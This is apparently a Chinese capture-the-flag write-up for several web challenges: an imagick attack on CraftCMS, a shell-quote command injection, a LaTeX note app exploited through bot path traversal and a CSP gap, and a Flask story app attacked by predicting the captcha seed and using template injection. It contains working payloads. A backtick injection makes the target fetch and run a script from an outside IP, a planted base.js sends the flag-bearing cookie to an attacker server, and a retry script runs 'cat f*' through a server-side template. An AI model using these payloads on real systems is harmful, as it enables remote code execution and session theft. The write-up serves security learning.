craftcms

一开始用网上现成的做法打imagick会无响应。后来lolita出了知道,原来是靶机打down一次,/tmp就会有残留的php*文件,imagick读取到别的文件就继续down。所以打失败一次就必须重启一次靶机。

打不通的时候想本地起一个环境的,但起环境太难给劝退了…..

Ave Mujica’s Masquerade

做几个web题,就做这个的时候聪明点,懂得本地多打多测,而不是干看代码。

shellQuote.quote的CVE原理在这:https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html

关键代码

if (url.includes(":")) {
const parts = url.split(":");
host = parts[0];
port = parts.slice(1).join(":");
} else {
host = url;
}
if (port) {
command = shellQuote.quote(["nmap", "-p", port, host]); // Construct the shell command
} else {
command = shellQuote.quote(["nmap", "-p", "80", host]);
}

nmap = spawn("bash", ["-c", command], {stdio: [0,fdout,fderr] } );

文章的payload不能直接打,因为题目会对payload分割处理,要多测才能测到正确的payload

文章的		`:`pwnme``:`
题目的 :`:`pwnme``:` 会执行pwnme这个命令

执行命令的结果不能回显。命令不能带重定向符,不能带${IFS}和空格。队友测$IFS$9当做分隔符可以。

坏了,能执行命令但又不会了。看了眼dockerfile,有wget和curl,考虑下载文件然后执行。

看题目描述好像不出网?但自己测题目,给骗了,出网的。

Enhancement: no echoes, internal network.

然后执行:

:`:`wget$IFS$9111.111.111.1111:18999/a.sh``:`

没权限直接执行./a.sh,sh$IFS$9a.sh就行。

所有的操作都在本地运行,打印所有执行结果,方便排错。本地上线后才去上线靶机。

b5059ae49cd1b07808e4095c7aad67f.png

easylatex

new URL

new URL("1", `http://${req.headers.host}/theme/`)
这个url是http://${req.headers.host}/theme/1

new URL("http://vps:port/", `http://${req.headers.host}/theme/`)
这个url就是http://vps:port/,第二个参数不生效。

比赛时只测了第一个,没测第二个。。。

bot visit 穿越

bot的visit存在穿越:

app.get('/share/:id', reportLimiter, async (req, res) => {
const { id } = req.params
console.log(id)
if (!id) {
res.send('no note id specified')
return
}
const url = `http://localhost:${PORT}/note/${id}`
try {
await visit(url)
res.send('done')
} catch (e) {
console.log(e)
res.send('something error')
}
})

访问: /share/..%2fpreview%3ftex=1%26theme=http%3a%2f%2f192.168.190.129:14444

即可穿越到/preview,带了参数tex和theme。

比赛时想到了会不会存在穿越,但是没测,直接当做不会了。

CSP

note.html设置了CSP。即使成为了vip,设置了theme为自己服务器上的js代码,令bot去访问也无法引用执行。

<meta http-equiv="Content-Security-Policy"
content="default-src <%= theme_url %> https://getbootstrap.com https://cdn.jsdelivr.net 'nonce-<%= nonce %>';">

1698674170753.png
preview.html没有设置CSP,可以执行js

base.js

当preview.html里的theme设置成自己的vps时,访问/preview,会访问vps/js/base.js

下面的是vps上放置的base.js文件

token是session,session保存的username是vps地址。bot访问base.js文件,执行该js代码,带上cookie访问/vip。此时的cookie有flag和session。随后/vip会获取到cookie,带上cookie访问username。

username指向的地址监听即可获取flag。

async function asd(){
//添加一个cookie,不会删除原来的。
//下面的fetch headers设置cookie无效,测过
document.cookie = 'token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imh0dHA6Ly8xOTIuMTY4LjE5MC4xMjk6MTU1NTUvIiwiaXNWaXAiOmZhbHNlLCJpYXQiOjE2OTg2NDY4NDl9.W_l_U9J-nvJjUYkGTdXaoFkBDBObvZotDpLi4FSWY-pb9BkcPWAd2WEKqdGQhsPC8izoSpXp3pXSWHrIQ93W9apSS4ywxmvhZ7bi3O43wpfMiWWXPgC36c9bQa-zMMv9f48l-MlVgU87mZGpB8CPUx6P73kAAGXnhpf9MvLArny93ZXECfiS5nDzjHInrCcFGM0GYZTTHQ3uKwzcaxSS7wa_Ir4oFTM_PUc6e_hCBCC5YUEyJHjknzAU1xUVPU6y0hiLoLpbXzM8axUHiN9j_CoGlXsteqa6sZsbD38OPD_-hG-xf8x2W3G7QE1T6FP_OrmBrkw3XL3eP2jQfDpemQ; Path=/'
await fetch('http://localhost:3000/vip', {
method: 'POST',
headers: {
},
})

}
asd()

1698675367244.png

story

得到随机种子

题目访问一次/captcha就会播一次种

self._key = (key or int(time.time())) + random.randint(1,100)
random.seed(self._key)

这个种子挺好猜的。只要访问一次/captcha,然后快速执行下面的脚本,就能得到种子以及之后的captcha。所以就能知道访问vip时候的captcha。

def test(seed,code):
random.seed(seed)
ccode = generate_code()
if code.upper() == ccode.upper():
return True
return False

import time
seed = int(time.time()) - 20 #产生的时间戳单位是s
code = 'C5Hp'
for i in range(200):
seedd = seed + i
if test(seedd,code):
print(seedd)
random.seed(seedd)
gen = Captcha(seedd,200, 80)
buf , captcha_text = gen.generate()
print(captcha_text)
print(generate_code())
print(generate_code())
print(generate_code())
print(generate_code())
break

摇3个相同的waf

下面选waf的代码,大致看了眼,从6个waf中选3个。第一反应要写6组合3也就是20种payload,针对每3种waf用不同的payload。仔细看了后发现任意3个组合到一起都不可能过,就歇逼睡觉去了。

起床后发现lolita说绕一种就行,我再细看代码,想到摇到3个相同waf就行。第一反应,我靠,这怎么可能,然后本地运行试试,发现摇到3个相同的概率还挺大的…..

靠,又是只看代码不测,我是sb。

import random
rule = [
['\\x','[',']','.','getitem','print','request','args','cookies','values','getattribute','config'], # rule 1
['(',']','getitem','_','%','print','config','args','values','|','\'','\"','dict',',','join','.','set'], # rule 2
['\'','\"','dict',',','config','join','\\x',')','[',']','attr','__','list','globals','.'], # rule 3
['[',')','getitem','request','.','|','config','popen','dict','doc','\\x','_','\{\{','mro'], # rule 4
['\\x','(',')','config','args','cookies','values','[',']','\{\{','.','request','|','attr'], # rule 5
['print', 'class', 'import', 'eval', '__', 'request','args','cookies','values','|','\\x','getitem'] # rule 6
]

def transfrom(number):
a = random.randint(0,20)
b = random.randint(0,100)
return (a * number + b) % 6

def singel_waf(input, rules):
input = input.lower()
for rule in rules:
if rule in input:
return False
return True

def minic_waf(input):
waf_seq = random.sample(range(21),3)
for index in range(len(waf_seq)):
waf_seq[index] = transfrom(waf_seq[index])
print(rule[waf_seq[index]])
if not singel_waf(input, rule[waf_seq[index]]):
return False
return True

本地打,不到3分钟就摇到了。

story = "{{lipsum['_''_glo''bals_''_']['_''_builtins_''_']['_''_impo''rt_''_']('os').popen('cat f*').read()}}"
cookies = {'session':'eyJjYXB0Y2hhIjoiZFRyRSIsInVzZXJuYW1lIjoiMTIzIiwidmlwIjp0cnVlfQ.ZUD_lw.T0MsH0UtcsajVwlAxS748Hh3_jU; HttpOnly; Path=/'}
import time
while True:
res = requests.post('http://192.168.190.129:5001/write',json={"story":story},cookies=cookies)
if 'success' in res.text:
print(res.headers)
print(res.cookies)
break
print('failed!')
time.sleep(0.5)

image-20231031220924167.png
1698761463686.png